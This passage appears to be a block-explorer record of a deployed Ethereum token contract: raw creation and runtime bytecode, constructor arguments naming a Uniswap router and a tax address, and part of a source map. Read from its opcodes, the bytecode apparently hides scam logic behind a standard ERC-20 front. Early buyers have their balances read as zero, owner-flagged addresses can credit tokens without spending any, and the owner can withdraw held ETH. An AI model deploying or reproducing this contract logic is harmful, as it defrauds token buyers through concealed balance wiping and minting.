66001600160a01b0392909216919091179055565b6005546001600160a01b031633146111165760405162461bcd60e51b815260040161068190611bd2565b604051600090339047908381818185875af1925050503d8060008114611158576040519150601f19603f3d011682016040523d82523d6000602084013e61115d565b606091505b50505050565b6005546001600160a01b0316331461118d5760405162461bcd60e51b815260040161068190611bd2565b600a805460ff19169055565b6001600160a01b0383166111fb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610681565b6001600160a01b03821661125c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610681565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112e35760405162461bcd60e51b815260040161068190611cea565b6001600160a01b0382166113095760405162461bcd60e51b815260040161068190611d2f565b600081116113595760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610681565b6000600c5411801561138357506001600160a01b0383166000908152600d602052604090205460ff165b156113975761139282826115c0565b505050565b6000600c541180156113c257506001600160a01b0383166000908152600d602052604090205460ff16155b80156113e757506001600160a01b0382166000908152600d602052604090205460ff16155b156115b557600a5460ff161561145b57601461140260025490565b61140c9190611cc8565b81111561145b5760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d69742065786365656465640000000000000000006044820152606401610681565b6008546000908190819060ff16801561147e5750600654600160a01b900460ff16155b156114af576006805460ff60a01b1916600160a01b1790556114a1868686611617565b6006805460ff60a01b191690555b6001600160a01b0385166000908152600e602052604090205460ff1680156114d75750600082115b156114f95760646114e88386611d72565b6114f29190611cc8565b9250611594565b60008111801561152157506001600160a01b0386166000908152600e602052604090205460ff165b1561159457603c600c54426115369190611cb5565b1115801561155a57506001600160a01b0385166000908152600b6020526040902054155b1561157b576001600160a01b0385166000908152600b602052604090204290555b60646115878286611d72565b6115919190611cc8565b92505b82156115a5576115a58630856118c6565b6115af8385611cb5565b93505050505b6113928383836118c6565b6001600160a01b0382166115e65760405162461bcd60e51b815260040161068190611d2f565b6001600160a01b0382166000908152602081905260408120805483929061160e908490611ca2565b90915550505050565b60008060006116268383611ca2565b11156117c057600061163730610bbd565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061167157611671611d89565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117139190611c07565b8160018151811061172657611726611d89565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac9479061178b908590600090869030904290600401611d9f565b600060405180830381600087803b1580156117a557600080fd5b505af11580156117b9573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606087811b8216602084015286901b1660348201526000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690479060480160408051601f198184030181529082905261183391611e10565b60006040518083038185875af1925050503d8060008114611870576040519150601f19603f3d011682016040523d82523d6000602084013e611875565b606091505b505080915050806118be5760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b6044820152606401610681565b505050505050565b6001600160a01b0383166118ec5760405162461bcd60e51b815260040161068190611cea565b6001600160a01b0382166119125760405162461bcd60e51b815260040161068190611d2f565b6001600160a01b0383166000908152602081905260409020548181101561198a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610681565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906119c1908490611ca2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a0d91815260200190565b60405180910390a350505050565b60005b83811015611a36578181015183820152602001611a1e565b50506000910152565b6020815260008251806020840152611a5e816040850160208701611a1b565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611a8757600080fd5b50565b60008060408385031215611a9d57600080fd5b8235611aa881611a72565b946020939093013593505050565b80358015158114611ac657600080fd5b919050565b600060208284031215611add57600080fd5b611ae682611ab6565b9392505050565b600060208284031215611aff57600080fd5b8135611ae681611a72565b600060208284031215611b1c57600080fd5b5035919050565b600080600060608486031215611b3857600080fd5b8335611b4381611a72565b92506020840135611b5381611a72565b929592945050506040919091013590565b60008060408385031215611b7757600080fd5b8235611b8281611a72565b9150611b9060208401611ab6565b90509250929050565b60008060408385031215611bac57600080fd5b8235611bb781611a72565b91506020830135611bc781611a72565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611c1957600080fd5b8151611ae681611a72565b600080600060608486031215611c3957600080fd5b8351925060208401519150604084015190509250925092565b600181811c90821680611c6657607f821691505b602082108103611c8657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156109e5576109e5611c8c565b818103818111156109e5576109e5611c8c565b600082611ce557634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b80820281158282048414176109e5576109e5611c8c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611def5784516001600160a01b031683529383019391830191600101611dca565b50506001600160a01b03969096166060850152505050608001529392505050565b60008251611e22818460208701611a1b565b919091019291505056fea264697066735822122013d5292e33d8f2af05fba91c1f2b91fb24a6aac7667fa9f1d60f9e0e1d158ca364736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000002df86e47757aee6c455a363098d2cabc927da8a4

Deployed Bytecode

0x6080604052600436106102085760003560e01c806370a0823111610118578063b7bda68f116100a0578063e2f456051161006f578063e2f45605146105c7578063f2fde38b146105dd578063f5648a4f146105fd578063f928364c14610612578063fe33b3021461062757600080fd5b8063b7bda68f1461050d578063c024666814610541578063d257b34f14610561578063dd62ed3e1461058157600080fd5b80638da5cb5b116100e75780638da5cb5b14610484578063958f9735146104a257806395d89b41146104b8578063a457c2d7146104cd578063a9059cbb146104ed57600080fd5b806370a0823114610415578063715018a614610435578063860aefcf1461044a57806386a22eff1461046457600080fd5b80631ffb53f61161019b578063395093511161016a57806339509351146103a557806349bd5a5e146103c55780635031595f146103e5578063685fc5681461021e5780636ddd1713146103fb57600080fd5b80631ffb53f61461033457806323b872dd146103545780632b112e4914610374578063313ce5671461038957600080fd5b8063095ea7b3116101d7578063095ea7b3146102af57806314f89c98146102df57806318160ddd146102ff5780631b6c710c1461031457600080fd5b806301339c21146102145780630644e7571461021e57806306fdde03146102415780630758d9241461026357600080fd5b3661020f57005b600080fd5b61021c610657565b005b34801561022a57600080fd5b5060005b6040519081526020015b60405180910390f35b34801561024d57600080fd5b50610256610942565b6040516102389190611a3f565b34801561026f57600080fd5b506102977f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610238565b3480156102bb57600080fd5b506102cf6102ca366004611a8a565b6109d4565b6040519015158152602001610238565b3480156102eb57600080fd5b5061021c6102fa366004611acb565b6109eb565b34801561030b57600080fd5b5060025461022e565b34801561032057600080fd5b5061021c61032f366004611aed565b610a28565b34801561034057600080fd5b5061021c61034f366004611b0a565b610a6c565b34801561036057600080fd5b506102cf61036f366004611b23565b610a9b565b34801561038057600080fd5b5061022e610b4e565b34801561039557600080fd5b5060405160098152602001610238565b3480156103b157600080fd5b506102cf6103c0366004611a8a565b610b81565b3480156103d157600080fd5b50600654610297906001600160a01b031681565b3480156103f157600080fd5b5061022e600c5481565b34801561040757600080fd5b506008546102cf9060ff1681565b34801561042157600080fd5b5061022e610430366004611aed565b610bbd565b34801561044157600080fd5b5061021c610c2d565b34801561045657600080fd5b50600a546102cf9060ff1681565b34801561047057600080fd5b5061021c61047f366004611b64565b610ca1565b34801561049057600080fd5b506005546001600160a01b0316610297565b3480156104ae57600080fd5b5061022e60095481565b3480156104c457600080fd5b50610256610d90565b3480156104d957600080fd5b506102cf6104e8366004611a8a565b610d9f565b3480156104f957600080fd5b506102cf610508366004611a8a565b610e38565b34801561051957600080fd5b506102977f0000000000000000000000002df86e47757aee6c455a363098d2cabc927da8a481565b34801561054d57600080fd5b5061021c61055c366004611b64565b610e45565b34801561056d57600080fd5b5061021c61057c366004611b0a565b610ece565b34801561058d57600080fd5b5061022e61059c366004611b99565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156105d357600080fd5b5061022e60075481565b3480156105e957600080fd5b5061021c6105f8366004611aed565b611001565b34801561060957600080fd5b5061021c6110ec565b34801561061e57600080fd5b5061021c611163565b34801561063357600080fd5b506102cf610642366004611aed565b600e6020526000908152604090205460ff1681565b6005546001600160a01b0316331461068a5760405162461bcd60e51b815260040161068190611bd2565b60405180910390fd5b600c541561069757600080fd5b600a805460ff191690556040805163c45a015560e01b815290516001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169163c45a01559160048083019260209291908290030181865afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a9190611c07565b6001600160a01b031663c9c653967f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610796573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ba9190611c07565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a9190611c07565b600680546001600160a01b0319166001600160a01b039283169081179091556000908152600e60205260409020805460ff191660011790557f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663f305d719473061089481610bbd565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af11580156108f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611c24565b505050600c5460001461092f57600080fd5b42600c55600a805460ff19166001179055565b60606003805461095190611c52565b80601f016020809104026020016040519081016040528092919081815260200182805461097d90611c52565b80156109ca5780601f1061099f576101008083540402835291602001916109ca565b820191906000526020600020905b8154815290600101906020018083116109ad57829003601f168201915b5050505050905090565b60006109e1338484611199565b5060015b92915050565b6005546001600160a01b03163314610a155760405162461bcd60e51b815260040161068190611bd2565b6008805460ff1916911515919091179055565b6005546001600160a01b03163314610a525760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b03166000908152600b6020526040812055565b6005546001600160a01b03163314610a965760405162461bcd60e51b815260040161068190611bd2565b600955565b6000610aa88484846112bd565b6001600160a01b03841660009081526001602090815260408083203384529091529020546000198114610b435782811015610b365760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610681565b610b438533858403611199565b506001949350505050565b6000610b5a6000610bbd565b610b6561dead610bbd565b610b6f9190611ca2565b600254610b7c9190611cb5565b905090565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916109e1918590610bb8908690611ca2565b611199565b6001600160a01b0381166000908152600b602052604081205415801590610c0457506001600160a01b0382166000908152600b6020526040812054610c029042611cb5565b115b15610c1157506000919050565b506001600160a01b031660009081526020819052604090205490565b6005546001600160a01b03163314610c575760405162461bcd60e51b815260040161068190611bd2565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610ccb5760405162461bcd60e51b815260040161068190611bd2565b6006546001600160a01b0390811690831603610d3c5760405162461bcd60e51b815260206004820152602a60248201527f546865206d61696e20706169722063616e6e6f742062652072656d6f7665642060448201526966726f6d20706169727360b01b6064820152608401610681565b6001600160a01b0382166000818152600e6020526040808220805460ff191685151590811790915590519092917ff40a563af144a84735f7f6c7c3029794b0ac17713e5f048d3fd00ed85aa4ca7a91a35050565b60606004805461095190611c52565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610681565b610e2e3385858403611199565b5060019392505050565b60006109e13384846112bd565b6005546001600160a01b03163314610e6f5760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314610ef85760405162461bcd60e51b815260040161068190611bd2565b620186a0610f04610b4e565b610f0e9190611cc8565b811015610f7b5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610681565b6103e8610f86610b4e565b610f909190611cc8565b811115610ffc5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610681565b600755565b6005546001600160a01b0316331461102b5760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b0381166110905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610681565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146111165760405162461bcd60e51b815260040161068190611bd2565b604051600090339047908381818185875af1925050503d8060008114611158576040519150601f19603f3d011682016040523d82523d6000602084013e61115d565b606091505b50505050565b6005546001600160a01b0316331461118d5760405162461bcd60e51b815260040161068190611bd2565b600a805460ff19169055565b6001600160a01b0383166111fb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610681565b6001600160a01b03821661125c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610681565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112e35760405162461bcd60e51b815260040161068190611cea565b6001600160a01b0382166113095760405162461bcd60e51b815260040161068190611d2f565b600081116113595760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610681565b6000600c5411801561138357506001600160a01b0383166000908152600d602052604090205460ff165b156113975761139282826115c0565b505050565b6000600c541180156113c257506001600160a01b0383166000908152600d602052604090205460ff16155b80156113e757506001600160a01b0382166000908152600d602052604090205460ff16155b156115b557600a5460ff161561145b57601461140260025490565b61140c9190611cc8565b81111561145b5760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d69742065786365656465640000000000000000006044820152606401610681565b6008546000908190819060ff16801561147e5750600654600160a01b900460ff16155b156114af576006805460ff60a01b1916600160a01b1790556114a1868686611617565b6006805460ff60a01b191690555b6001600160a01b0385166000908152600e602052604090205460ff1680156114d75750600082115b156114f95760646114e88386611d72565b6114f29190611cc8565b9250611594565b60008111801561152157506001600160a01b0386166000908152600e602052604090205460ff165b1561159457603c600c54426115369190611cb5565b1115801561155a57506001600160a01b0385166000908152600b6020526040902054155b1561157b576001600160a01b0385166000908152600b602052604090204290555b60646115878286611d72565b6115919190611cc8565b92505b82156115a5576115a58630856118c6565b6115af8385611cb5565b93505050505b6113928383836118c6565b6001600160a01b0382166115e65760405162461bcd60e51b815260040161068190611d2f565b6001600160a01b0382166000908152602081905260408120805483929061160e908490611ca2565b90915550505050565b60008060006116268383611ca2565b11156117c057600061163730610bbd565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061167157611671611d89565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117139190611c07565b8160018151811061172657611726611d89565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac9479061178b908590600090869030904290600401611d9f565b600060405180830381600087803b1580156117a557600080fd5b505af11580156117b9573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606087811b8216602084015286901b1660348201526000906001600160a01b037f0000000000000000000000002df86e47757aee6c455a363098d2cabc927da8a41690479060480160408051601f198184030181529082905261183391611e10565b60006040518083038185875af1925050503d8060008114611870576040519150601f19603f3d011682016040523d82523d6000602084013e611875565b606091505b505080915050806118be5760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b6044820152606401610681565b505050505050565b6001600160a01b0383166118ec5760405162461bcd60e51b815260040161068190611cea565b6001600160a01b0382166119125760405162461bcd60e51b815260040161068190611d2f565b6001600160a01b0383166000908152602081905260409020548181101561198a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610681565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906119c1908490611ca2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a0d91815260200190565b60405180910390a350505050565b60005b83811015611a36578181015183820152602001611a1e565b50506000910152565b6020815260008251806020840152611a5e816040850160208701611a1b565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611a8757600080fd5b50565b60008060408385031215611a9d57600080fd5b8235611aa881611a72565b946020939093013593505050565b80358015158114611ac657600080fd5b919050565b600060208284031215611add57600080fd5b611ae682611ab6565b9392505050565b600060208284031215611aff57600080fd5b8135611ae681611a72565b600060208284031215611b1c57600080fd5b5035919050565b600080600060608486031215611b3857600080fd5b8335611b4381611a72565b92506020840135611b5381611a72565b929592945050506040919091013590565b60008060408385031215611b7757600080fd5b8235611b8281611a72565b9150611b9060208401611ab6565b90509250929050565b60008060408385031215611bac57600080fd5b8235611bb781611a72565b91506020830135611bc781611a72565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611c1957600080fd5b8151611ae681611a72565b600080600060608486031215611c3957600080fd5b8351925060208401519150604084015190509250925092565b600181811c90821680611c6657607f821691505b602082108103611c8657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156109e5576109e5611c8c565b818103818111156109e5576109e5611c8c565b600082611ce557634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b80820281158282048414176109e5576109e5611c8c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611def5784516001600160a01b031683529383019391830191600101611dca565b50506001600160a01b03969096166060850152505050608001529392505050565b60008251611e22818460208701611a1b565b919091019291505056fea264697066735822122013d5292e33d8f2af05fba91c1f2b91fb24a6aac7667fa9f1d60f9e0e1d158ca364736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000002df86e47757aee6c455a363098d2cabc927da8a4

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : _taxAddress (address): 0x2dF86e47757Aee6C455a363098d2CAbC927dA8A4

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000002df86e47757aee6c455a363098d2cabc927da8a4


Deployed Bytecode Sourcemap

10763:6315:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15823:526;;;:::i;:::-;;12829:79;;;;;;;;;;-1:-1:-1;12872:7:0;12829:79;;;160:25:1;;;148:2;133:18;12829:79:0;;;;;;;;4124:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;10807:37::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1034:32:1;;;1016:51;;1004:2;989:18;10807:37:0;852:221:1;5179:210:0;;;;;;;;;;-1:-1:-1;5179:210:0;;;;;:::i;:::-;;:::i;:::-;;;1699:14:1;;1692:22;1674:41;;1662:2;1647:18;5179:210:0;1534:187:1;12309:86:0;;;;;;;;;;-1:-1:-1;12309:86:0;;;;;:::i;:::-;;:::i;4445:108::-;;;;;;;;;;-1:-1:-1;4533:12:0;;4445:108;;16357:99;;;;;;;;;;-1:-1:-1;16357:99:0;;;;;:::i;:::-;;:::i;12633:100::-;;;;;;;;;;-1:-1:-1;12633:100:0;;;;;:::i;:::-;;:::i;5397:620::-;;;;;;;;;;-1:-1:-1;5397:620:0;;;;;:::i;:::-;;:::i;16551:156::-;;;;;;;;;;;;;:::i;12217:84::-;;;;;;;;;;-1:-1:-1;12217:84:0;;12292:1;3116:36:1;;3104:2;3089:18;12217:84:0;2974:184:1;6025:297:0;;;;;;;;;;-1:-1:-1;6025:297:0;;;;;:::i;:::-;;:::i;10851:28::-;;;;;;;;;;-1:-1:-1;10851:28:0;;;;-1:-1:-1;;;;;10851:28:0;;;11247:32;;;;;;;;;;;;;;;;11095:30;;;;;;;;;;-1:-1:-1;11095:30:0;;;;;;;;13106:207;;;;;;;;;;-1:-1:-1;13106:207:0;;;;;:::i;:::-;;:::i;8659:148::-;;;;;;;;;;;;;:::i;11169:25::-;;;;;;;;;;-1:-1:-1;11169:25:0;;;;;;;;12403:222;;;;;;;;;;-1:-1:-1;12403:222:0;;;;;:::i;:::-;;:::i;8445:79::-;;;;;;;;;;-1:-1:-1;8510:6:0;;-1:-1:-1;;;;;8510:6:0;8445:79;;11134:28;;;;;;;;;;;;;;;;4232:104;;;;;;;;;;;;;:::i;6330:482::-;;;;;;;;;;-1:-1:-1;6330:482:0;;;;;:::i;:::-;;:::i;4746:216::-;;;;;;;;;;-1:-1:-1;4746:216:0;;;;;:::i;:::-;;:::i;11051:35::-;;;;;;;;;;;;;;;12916:182;;;;;;;;;;-1:-1:-1;12916:182:0;;;;;:::i;:::-;;:::i;16715:360::-;;;;;;;;;;-1:-1:-1;16715:360:0;;;;;:::i;:::-;;:::i;4970:201::-;;;;;;;;;;-1:-1:-1;4970:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;5136:18:0;;;5104:7;5136:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4970:201;11009:33;;;;;;;;;;;;;;;;8815:281;;;;;;;;;;-1:-1:-1;8815:281:0;;;;;:::i;:::-;;:::i;15654:161::-;;;;;;;;;;;;;:::i;16464:79::-;;;;;;;;;;;;;:::i;11347:37::-;;;;;;;;;;-1:-1:-1;11347:37:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15823:526;8572:6;;-1:-1:-1;;;;;8572:6:0;256:10;8572:22;8564:67;;;;-1:-1:-1;;;8564:67:0;;;;;;;:::i;:::-;;;;;;;;;15887:17:::1;::::0;:22;15879:31:::1;;;::::0;::::1;;15923:6;:14:::0;;-1:-1:-1;;15923:14:0::1;::::0;;15978:19:::1;::::0;;-1:-1:-1;;;15978:19:0;;;;-1:-1:-1;;;;;15978:9:0::1;:17;::::0;::::1;::::0;:19:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:17;:19:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15966:43:0::1;;16010:9;-1:-1:-1::0;;;;;16010:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15966:76;::::0;-1:-1:-1;;;;;;15966:76:0::1;::::0;;;;;;-1:-1:-1;;;;;4931:15:1;;;15966:76:0::1;::::0;::::1;4913:34:1::0;16036:4:0::1;4963:18:1::0;;;4956:43;4848:18;;15966:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15950:13;:92:::0;;-1:-1:-1;;;;;;15950:92:0::1;-1:-1:-1::0;;;;;15950:92:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;16053:20:0;;;:5:::1;:20;::::0;;;;:27;;-1:-1:-1;;16053:27:0::1;-1:-1:-1::0;16053:27:0::1;::::0;;16093:9:::1;:25;;16126:21;16157:4;16163:24;16157:4:::0;16163:9:::1;:24::i;:::-;16093:126;::::0;-1:-1:-1;;;;;;16093:126:0::1;::::0;;;;;;-1:-1:-1;;;;;5369:15:1;;;16093:126:0::1;::::0;::::1;5351:34:1::0;5401:18;;;5394:34;16188:1:0::1;5444:18:1::0;;;5437:34;;;5487:18;;;5480:34;16192:10:0::1;5530:19:1::0;;;5523:44;16203:15:0::1;5583:19:1::0;;;5576:35;5285:19;;16093:126:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;16248:17;;16269:1;16248:22;16240:31;;;::::0;::::1;;16302:15;16282:17;:35:::0;16328:6:::1;:13:::0;;-1:-1:-1;;16328:13:0::1;16337:4;16328:13;::::0;;15823:526::o;4124:100::-;4178:13;4211:5;4204:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4124:100;:::o;5179:210::-;5298:4;5320:39;256:10;5343:7;5352:6;5320:8;:39::i;:::-;-1:-1:-1;5377:4:0;5179:210;;;;;:::o;12309:86::-;8572:6;;-1:-1:-1;;;;;8572:6:0;256:10;8572:22;8564:67;;;;-1:-1:-1;;;8564:67:0;;;;;;;:::i;:::-;12368:11:::1;:19:::0;;-1:-1:-1;;12368:19:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12309:86::o;16357:99::-;8572:6;;-1:-1:-1;;;;;8572:6:0;256:10;8572:22;8564:67;;;;-1:-1:-1;;;8564:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16427:17:0::1;16447:1;16427:17:::0;;;:8:::1;:17;::::0;;;;:21;16357:99::o;12633:100::-;8572:6;;-1:-1:-1;;;;;8572:6:0;256:10;8572:22;8564:67;;;;-1:-1:-1;;;8564:67:0;;;;;;;:::i;:::-;12706:9:::1;:19:::0;12633:100::o;5397:620::-;5537:4;5554:36;5564:6;5572:9;5583:6;5554:9;:36::i;:::-;-1:-1:-1;;;;;5630:19:0;;5603:24;5630:19;;;:11;:19;;;;;;;;256:10;5630:33;;;;;;;;-1:-1:-1;;5677:37:0;;5674:314;;5778:6;5758:16;:26;;5732:128;;;;-1:-1:-1;;;5732:128:0;;6520:2:1;5732:128:0;;;6502:21:1;6559:2;6539:18;;;6532:30;6598:34;6578:18;;;6571:62;-1:-1:-1;;;6649:18:1;;;6642:38;6697:19;;5732:128:0;6318:404:1;5732:128:0;5904:57;5913:6;256:10;5954:6;5935:16;:25;5904:8;:57::i;:::-;-1:-1:-1;6005:4:0;;5397:620;-1:-1:-1;;;;5397:620:0:o;16551:156::-;16604:7;16677:21;16695:1;16677:9;:21::i;:::-;16648:26;16666:6;16648:9;:26::i;:::-;:50;;;;:::i;:::-;4533:12;;16631:68;;;;:::i;:::-;16624:75;;16551:156;:::o;6025:297::-;256:10;6140:4;6234:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6234:34:0;;;;;;;;;;6140:4;;6162:130;;6212:7;;6234:47;;6271:10;;6234:47;:::i;:::-;6162:8;:130::i;13106:207::-;-1:-1:-1;;;;;13195:17:0;;13172:7;13195:17;;;:8;:17;;;;;;:21;;;;:64;;-1:-1:-1;;;;;;13238:17:0;;13258:1;13238:17;;;:8;:17;;;;;;13220:35;;:15;:35;:::i;:::-;:39;13195:64;13192:77;;;-1:-1:-1;13268:1:0;;13106:207;-1:-1:-1;13106:207:0:o;13192:77::-;-1:-1:-1;;;;;;13287:18:0;:9;:18;;;;;;;;;;;;13106:207::o;8659:148::-;8572:6;;-1:-1:-1;;;;;8572:6:0;256:10;8572:22;8564:67;;;;-1:-1:-1;;;8564:67:0;;;;;;;:::i;:::-;8750:6:::1;::::0;